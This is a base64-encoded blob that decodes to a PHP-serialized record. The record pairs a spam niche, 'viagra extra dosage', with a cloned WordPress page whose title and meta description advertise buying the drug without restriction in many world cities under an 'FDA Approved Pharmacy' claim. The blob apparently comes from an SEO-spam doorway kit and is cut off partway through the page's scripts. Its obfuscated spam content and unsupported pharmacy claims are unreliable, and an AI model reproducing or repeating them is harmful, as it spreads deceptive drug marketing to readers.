YToyOntzOjU6Im5pY2hlIjtzOjE5OiJ2aWFncmEgZXh0cmEgZG9zYWdlIjtzOjQ6Imh0bWwiO3M6OTI3NTk6IjwhZG9jdHlwZSBodG1sPgoKCjxodG1sIGNsYXNzPSJuby1qcyIgbGFuZz0iZW4tVVMiPgoKCTxoZWFkPgoJCQo8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vYXJjaGl2ZSI+CjxtZXRhIGNoYXJzZXQ9IlVURi04IiAvPgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCc+dmFyIHVhID0gbmF2aWdhdG9yLnVzZXJBZ2VudDsgdmFyIG1ldGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdtZXRhJyk7aWYoKHVhLnRvTG93ZXJDYXNlKCkuaW5kZXhPZignYW5kcm9pZCcpID4gLTEgJiYgdWEudG9Mb3dlckNhc2UoKS5pbmRleE9mKCdtb2JpbGUnKSkgfHwgKCh1YS5tYXRjaCgvaVBob25lL2kpKSB8fCAodWEubWF0Y2goL2lQYWQvaSkpKSl7IG1ldGEubmFtZSA9ICd2aWV3cG9ydCc7CW1ldGEuY29udGVudCA9ICd0YXJnZXQtZGVuc2l0eWRwaT1kZXZpY2UtZHBpLCB3aWR0aD1kZXZpY2Utd2lkdGgnOyB9dmFyIG0gPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnbWV0YScpWzBdOyBtLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKG1ldGEsbSk7PC9zY3JpcHQ+IAkJPG1ldGEgbmFtZT0iQXV0aG9yIiBjb250ZW50PSJBaXRUaGVtZXMuY2x1YiwgaHR0cDovL3d3dy5haXQtdGhlbWVzLmNsdWIiIC8+CgoJCTx0aXRsZT5WaWFncmEgRXh0cmEgRG9zYWdlIGluZm9ybWF0aW9uPC90aXRsZT4KPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IlNob3AgZm9yIFZpYWdyYSBFeHRyYSBEb3NhZ2Ugd2l0aCBBbWVyaWNhbiBFeHByZXNzLiBQaWNrIHVwIFZpYWdyYSBFeHRyYSBEb3NhZ2UgLSBkb3NhZ2UgZXhhbXBsZS4gT3JkZXIgVmlhZ3JhIEV4dHJhIERvc2FnZSBpbiBBZmdoYW5pc3RhbiBLYWJ1bC4gT3JkZXIgVmlhZ3JhIEV4dHJhIERvc2FnZSBpbiBMYW9zIFZpZW50aWFuZS4gU2hvcCBWaWFncmEgRXh0cmEgRG9zYWdlIGluIFBvcnR1Z2FsIExpc2Jvbi4gU25hcCB1cCBWaWFncmEgRXh0cmEgRG9zYWdlIGNoZWFwLiBTaG9wIFZpYWdyYSBFeHRyYSBEb3NhZ2UgaW4gRXRoaW9waWEgQWRkaXMgQWJhYmEuIFZpYWdyYSBFeHRyYSBEb3NhZ2UgcHJlc2NyaXB0aW9uIHByaWNlcyAtIEZEQSBBcHByb3ZlZCBQaGFybWFjeS4gU2hvcCBWaWFncmEgRXh0cmEgRG9zYWdlIGluIEVhc3RlciBJc2xhbmQgSGFuZ2EgUm9hLiBCdXkgVmlhZ3JhIEV4dHJhIERvc2FnZSBpbiBDeXBydXMgTmljb3NpYS4gQnV5IFZpYWdyYSBFeHRyYSBEb3NhZ2UgaW4gQm9saXZpYSBMYSBQYXouIj4KCQk8bGluayByZWw9InByb2ZpbGUiIGhyZWY9Imh0dHA6Ly9nbXBnLm9yZy94Zm4vMTEiIC8+CgkJPGxpbmsgcmVsPSJwaW5nYmFjayIgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3htbHJwYy5waHAiIC8+CgoJCTxsaW5rIGhyZWY9Imh0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PU9zd2FsZCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCgkJPGxpbmsgaWQ9ImFpdC1zdHlsZSIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgbWVkaWE9ImFsbCIgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9zdHlsZS5jc3M/MTUwNTM1NjU5OSIgLz4KCjxsaW5rIHJlbD0nZG5zLXByZWZldGNoJyBocmVmPScvL21hcHMuZ29vZ2xlLmNvbScgLz4KPGxpbmsgcmVsPSdkbnMtcHJlZmV0Y2gnIGhyZWY9Jy8vcy53Lm9yZycgLz4KCgoJCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KCQkJd2luZG93Ll93cGVtb2ppU2V0dGluZ3MgPSB7ImJhc2VVcmwiOiJodHRwczpcL1wvcy53Lm9yZ1wvaW1hZ2VzXC9jb3JlXC9lbW9qaVwvMTFcLzcyeDcyXC8iLCJleHQiOiIucG5nIiwic3ZnVXJsIjoiaHR0cHM6XC9cL3Mudy5vcmdcL2ltYWdlc1wvY29yZVwvZW1vamlcLzExXC9zdmdcLyIsInN2Z0V4dCI6Ii5zdmciLCJzb3VyY2UiOnsiY29uY2F0ZW1vamkiOiJodHRwOlwvXC9mdW5ydW5uZXJzYmVhY2hlcy51c1wvd3AtaW5jbHVkZXNcL2pzXC93cC1lbW9qaS1yZWxlYXNlLm1pbi5qcz92ZXI9NC45LjEwIn19OwoJCQkhZnVuY3Rpb24oYSxiLGMpe2Z1bmN0aW9uIGQoYSxiKXt2YXIgYz1TdHJpbmcuZnJvbUNoYXJDb2RlO2wuY2xlYXJSZWN0KDAsMCxrLndpZHRoLGsuaGVpZ2h0KSxsLmZpbGxUZXh0KGMuYXBwbHkodGhpcyxhKSwwLDApO3ZhciBkPWsudG9EYXRhVVJMKCk7bC5jbGVhclJlY3QoMCwwLGsud2lkdGgsay5oZWlnaHQpLGwuZmlsbFRleHQoYy5hcHBseSh0aGlzLGIpLDAsMCk7dmFyIGU9ay50b0RhdGFVUkwoKTtyZXR1cm4gZD09PWV9ZnVuY3Rpb24gZShhKXt2YXIgYjtpZighbHx8IWwuZmlsbFRleHQpcmV0dXJuITE7c3dpdGNoKGwudGV4dEJhc2VsaW5lPSJ0b3AiLGwuZm9udD0iNjAwIDMycHggQXJpYWwiLGEpe2Nhc2UiZmxhZyI6cmV0dXJuIShiPWQoWzU1MzU2LDU2ODI2LDU1MzU2LDU2ODE5XSxbNTUzNTYsNTY4MjYsODIwMyw1NTM1Niw1NjgxOV0pKSYmKGI9ZChbNTUzNTYsNTczMzIsNTYxMjgsNTY0MjMsNTYxMjgsNTY0MTgsNTYxMjgsNTY0MjEsNTYxMjgsNTY0MzAsNTYxMjgsNTY0MjMsNTYxMjgsNTY0NDddLFs1NTM1Niw1NzMzMiw4MjAzLDU2MTI4LDU2NDIzLDgyMDMsNTYxMjgsNTY0MTgsODIwMyw1NjEyOCw1NjQyMSw4MjAzLDU2MTI4LDU2NDMwLDgyMDMsNTYxMjgsNTY0MjMsODIwMyw1NjEyOCw1NjQ0N10pLCFiKTtjYXNlImVtb2ppIjpyZXR1cm4gYj1kKFs1NTM1OCw1Njc2MCw5NzkyLDY1MDM5XSxbNTUzNTgsNTY3NjAsODIwMyw5NzkyLDY1MDM5XSksIWJ9cmV0dXJuITF9ZnVuY3Rpb24gZihhKXt2YXIgYz1iLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO2Muc3JjPWEsYy5kZWZlcj1jLnR5cGU9InRleHQvamF2YXNjcmlwdCIsYi5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLmFwcGVuZENoaWxkKGMpfXZhciBnLGgsaSxqLGs9Yi5jcmVhdGVFbGVtZW50KCJjYW52YXMiKSxsPWsuZ2V0Q29udGV4dCYmay5nZXRDb250ZXh0KCIyZCIpO2ZvcihqPUFycmF5KCJmbGFnIiwiZW1vamkiKSxjLnN1cHBvcnRzPXtldmVyeXRoaW5nOiEwLGV2ZXJ5dGhpbmdFeGNlcHRGbGFnOiEwfSxpPTA7aTxqLmxlbmd0aDtpKyspYy5zdXBwb3J0c1tqW2ldXT1lKGpbaV0pLGMuc3VwcG9ydHMuZXZlcnl0aGluZz1jLnN1cHBvcnRzLmV2ZXJ5dGhpbmcmJmMuc3VwcG9ydHNbaltpXV0sImZsYWciIT09altpXSYmKGMuc3VwcG9ydHMuZXZlcnl0aGluZ0V4Y2VwdEZsYWc9Yy5zdXBwb3J0cy5ldmVyeXRoaW5nRXhjZXB0RmxhZyYmYy5zdXBwb3J0c1tqW2ldXSk7Yy5zdXBwb3J0cy5ldmVyeXRoaW5nRXhjZXB0RmxhZz1jLnN1cHBvcnRzLmV2ZXJ5dGhpbmdFeGNlcHRGbGFnJiYhYy5zdXBwb3J0cy5mbGFnLGMuRE9NUmVhZHk9ITEsYy5yZWFkeUNhbGxiYWNrPWZ1bmN0aW9uKCl7Yy5ET01SZWFkeT0hMH0sYy5zdXBwb3J0cy5ldmVyeXRoaW5nfHwoaD1mdW5jdGlvbigpe2MucmVhZHlDYWxsYmFjaygpfSxiLmFkZEV2ZW50TGlzdGVuZXI/KGIuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsaCwhMSksYS5hZGRFdmVudExpc3RlbmVyKCJsb2FkIixoLCExKSk6KGEuYXR0YWNoRXZlbnQoIm9ubG9hZCIsaCksYi5hdHRhY2hFdmVudCgib25yZWFkeXN0YXRlY2hhbmdlIixmdW5jdGlvbigpeyJjb21wbGV0ZSI9PT1iLnJlYWR5U3RhdGUmJmMucmVhZHlDYWxsYmFjaygpfSkpLGc9Yy5zb3VyY2V8fHt9LGcuY29uY2F0ZW1vamk/ZihnLmNvbmNhdGVtb2ppKTpnLndwZW1vamkmJmcudHdlbW9qaSYmKGYoZy50d2Vtb2ppKSxmKGcud3BlbW9qaSkpKX0od2luZG93LGRvY3VtZW50LHdpbmRvdy5fd3BlbW9qaVNldHRpbmdzKTsKCQk8L3NjcmlwdD4KCQk8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgppbWcud3Atc21pbGV5LAppbWcuZW1vamkgewoJZGlzcGxheTogaW5saW5lICFpbXBvcnRhbnQ7Cglib3JkZXI6IG5vbmUgIWltcG9ydGFudDsKCWJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudDsKCWhlaWdodDogMWVtICFpbXBvcnRhbnQ7Cgl3aWR0aDogMWVtICFpbXBvcnRhbnQ7CgltYXJnaW46IDAgLjA3ZW0gIWltcG9ydGFudDsKCXZlcnRpY2FsLWFsaWduOiAtMC4xZW0gIWltcG9ydGFudDsKCWJhY2tncm91bmQ6IG5vbmUgIWltcG9ydGFudDsKCXBhZGRpbmc6IDAgIWltcG9ydGFudDsKfQo8L3N0eWxlPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdndHJhbnNsYXRlLXN0eWxlLWNzcycgIGhyZWY9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9ndHJhbnNsYXRlLXN0eWxlMjQuY3NzP3Zlcj00LjkuMTAnIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdjb250YWN0LWZvcm0tNy1jc3MnICBocmVmPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2NvbnRhY3QtZm9ybS03L2luY2x1ZGVzL2Nzcy9zdHlsZXMuY3NzP3Zlcj00LjknIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdycy1wbHVnaW4tc2V0dGluZ3MtY3NzJyAgaHJlZj0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9yZXZzbGlkZXIvcnMtcGx1Z2luL2Nzcy9zZXR0aW5ncy5jc3M/cmV2PTQuNi4wJiMwMzg7dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxzdHlsZSBpZD0ncnMtcGx1Z2luLXNldHRpbmdzLWlubGluZS1jc3MnIHR5cGU9J3RleHQvY3NzJz4KLnRwLWNhcHRpb24gYXtjb2xvcjojZmY3MzAyO3RleHQtc2hhZG93Om5vbmU7LXdlYmtpdC10cmFuc2l0aW9uOmFsbCAwLjJzIGVhc2Utb3V0Oy1tb3otdHJhbnNpdGlvbjphbGwgMC4ycyBlYXNlLW91dDstby10cmFuc2l0aW9uOmFsbCAwLjJzIGVhc2Utb3V0Oy1tcy10cmFuc2l0aW9uOmFsbCAwLjJzIGVhc2Utb3V0fS50cC1jYXB0aW9uIGE6aG92ZXJ7Y29sb3I6I2ZmYTkwMn0KPC9zdHlsZT4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nYWl0LWpxdWVyeS1wcmV0dHlQaG90by1jc3MnICBocmVmPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9jc3MvcHJldHR5UGhvdG8uY3NzP3Zlcj00LjkuMTAnIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdhaXQtanF1ZXJ5LWZhbmN5Ym94LWNzcycgIGhyZWY9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2Nzcy9mYW5jeWJveC9qcXVlcnkuZmFuY3lib3gtMS4zLjQuY3NzP3Zlcj00LjkuMTAnIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdhaXQtanF1ZXJ5LWhvdmVyLXpvb20tY3NzJyAgaHJlZj0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vY3NzL2hvdmVyWm9vbS5jc3M/dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2FpdC1qcXVlcnktZmFuY3ljaGVja2JveC1jc3MnICBocmVmPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9jc3MvanF1ZXJ5LmZhbmN5Y2hlY2tib3gubWluLmNzcz92ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nanF1ZXJ5LXVpLWNzcy1jc3MnICBocmVmPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9jc3MvanF1ZXJ5LXVpLTEuMTAuMS5jdXN0b20ubWluLmNzcz92ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS9qcXVlcnkuanM/dmVyPTEuMTIuNCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1pbmNsdWRlcy9qcy9qcXVlcnkvanF1ZXJ5LW1pZ3JhdGUubWluLmpzP3Zlcj0xLjQuMSc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZGlyZWN0b3J5LWV4dGVuc2lvbi1wbHVnaW4vL2xpYnMvZnJvbnRFbmRTY3JpcHRzLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2RpcmVjdG9yeS1leHRlbnNpb24tcGx1Z2luLy9saWJzL2pxdWVyeS5qY2Fyb3VzZWwubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2RpcmVjdG9yeS1leHRlbnNpb24tcGx1Z2luLy9saWJzL2JmX3NjcmlwdC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9kaXJlY3RvcnktZXh0ZW5zaW9uLXBsdWdpbi8vbGlicy9zY3JpcHQuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvcmV2c2xpZGVyL3JzLXBsdWdpbi9qcy9qcXVlcnkudGhlbWVwdW5jaC50b29scy5taW4uanM/cmV2PTQuNi4wJiMwMzg7dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvcmV2c2xpZGVyL3JzLXBsdWdpbi9qcy9qcXVlcnkudGhlbWVwdW5jaC5yZXZvbHV0aW9uLm1pbi5qcz9yZXY9NC42LjAmIzAzODt2ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkuZmFuY3ljaGVja2JveC5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5Lmh0bWw1LXBsYWNlaG9sZGVyLXNoaW0uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9tYXBzLmdvb2dsZS5jb20vbWFwcy9hcGkvanM/a2V5PUFJemFTeUQxbmh5ckpyeUhRRTBONk9RaGtvcXdFTEJNMHhPNTBOSSYjMDM4O3NlbnNvcj1mYWxzZSYjMDM4O2xhbmd1YWdlPWVuX1VTJiMwMzg7dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvZ21hcDMuaW5mb2JveC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9nbWFwMy5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5LmluZmllbGRsYWJlbC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkucHJldHR5UGhvdG8uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5LmZhbmN5Ym94LTEuMy40LmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5lYXNpbmctMS4zLm1pbi5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkubmljZXNjcm9sbC5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5LnF1aWNrc2FuZC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9ob3Zlci56b29tLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5maW5pc2hlZFR5cGluZy5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9zcGluLm1pbi5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9tb2Rlcm5penIudG91Y2guanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2dyaWRnYWxsZXJ5LmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9yYXRpbmcuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz4KLyogPCFbQ0RBVEFbICovCnZhciBNeUFqYXggPSB7ImFqYXh1cmwiOiJodHRwOlwvXC9mdW5ydW5uZXJzYmVhY2hlcy51c1wvd3AtYWRtaW5cL2FkbWluLWFqYXgucGhwIiwiYWpheG5vbmNlIjoiNTU2YWJkZWUyMyJ9OwovKiBdXT4gKi8KPC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL3NjcmlwdC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPGxpbmsgcmVsPSdodHRwczovL2FwaS53Lm9yZy8nIGhyZWY9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy9pbmRleC5waHA/cmVzdF9yb3V0ZT0vJyAvPgo8bGluayByZWw9IkVkaXRVUkkiIHR5cGU9ImFwcGxpY2F0aW9uL3JzZCt4bWwiIHRpdGxlPSJSU0QiIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy94bWxycGMucGhwP3JzZCIgLz4KPGxpbmsgcmVsPSJ3bHdtYW5pZmVzdCIgdHlwZT0iYXBwbGljYXRpb24vd2x3bWFuaWZlc3QreG1sIiBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtaW5jbHVkZXMvd2x3bWFuaWZlc3QueG1sIiAvPiAKPGxpbmsgcmVsPSJjYW5vbmljYWwiIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/YWl0LWRpci1pdGVtLWxvY2F0aW9uPW1pY2hpZ2FuIiA+CjxsaW5rIHJlbD0nc2hvcnRsaW5rJyBocmVmPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2FpdC1kaXItaXRlbS1sb2NhdGlvbj1taWNoaWdhbicgLz4KCgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CihmdW5jdGlvbih1cmwpewoJaWYoLyg/OkNocm9tZVwvMjZcLjBcLjE0MTBcLjYzIFNhZmFyaVwvNTM3XC4zMXxXb3JkZmVuY2VUZXN0TW9uQm90KS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSl7IHJldHVybjsgfQoJdmFyIGFkZEV2ZW50ID0gZnVuY3Rpb24oZXZ0LCBoYW5kbGVyKSB7CgkJaWYgKHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKSB7CgkJCWRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoZXZ0LCBoYW5kbGVyLCBmYWxzZSk7CgkJfSBlbHNlIGlmICh3aW5kb3cuYXR0YWNoRXZlbnQpIHsKCQkJZG9jdW1lbnQuYXR0YWNoRXZlbnQoJ29uJyArIGV2dCwgaGFuZGxlcik7CgkJfQoJfTsKCXZhciByZW1vdmVFdmVudCA9IGZ1bmN0aW9uKGV2dCwgaGFuZGxlcikgewoJCWlmICh3aW5kb3cucmVtb3ZlRXZlbnRMaXN0ZW5lcikgewoJCQlkb2N1bWVudC5yZW1vdmVFdmVudExpc3RlbmVyKGV2dCwgaGFuZGxlciwgZmFsc2UpOwoJCX0gZWxzZSBpZiAod2luZG93LmRldGFjaEV2ZW50KSB7CgkJCWRvY3VtZW50LmRldGFjaEV2ZW50KCdvbicgKyBldnQsIGhhbmRsZXIpOwoJCX0KCX07Cgl2YXIgZXZ0cyA9ICdjb250ZXh0bWVudSBkYmxjbGljayBkcmFnIGRyYWdlbmQgZHJhZ2VudGVyIGRyYWdsZWF2ZSBkcmFnb3ZlciBkcmFnc3RhcnQgZHJvcCBrZXlkb3duIGtleXByZXNzIGtleXVwIG1vdXNlZG93biBtb3VzZW1vdmUgbW91c2VvdXQgbW91c2VvdmVyIG1vdXNldXAgbW91c2V3aGVlbCBzY3JvbGwnLnNwbGl0KCcgJyk7Cgl2YXIgbG9nSHVtYW4gPSBmdW5jdGlvbigpIHsKCQl2YXIgd2ZzY3IgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKCQl3ZnNjci50eXBlID0gJ3RleHQvamF2YXNjcmlwdCc7CgkJd2ZzY3IuYXN5bmMgPSB0cnVlOwoJCXdmc2NyLnNyYyA9IHVybCArICcmcj0n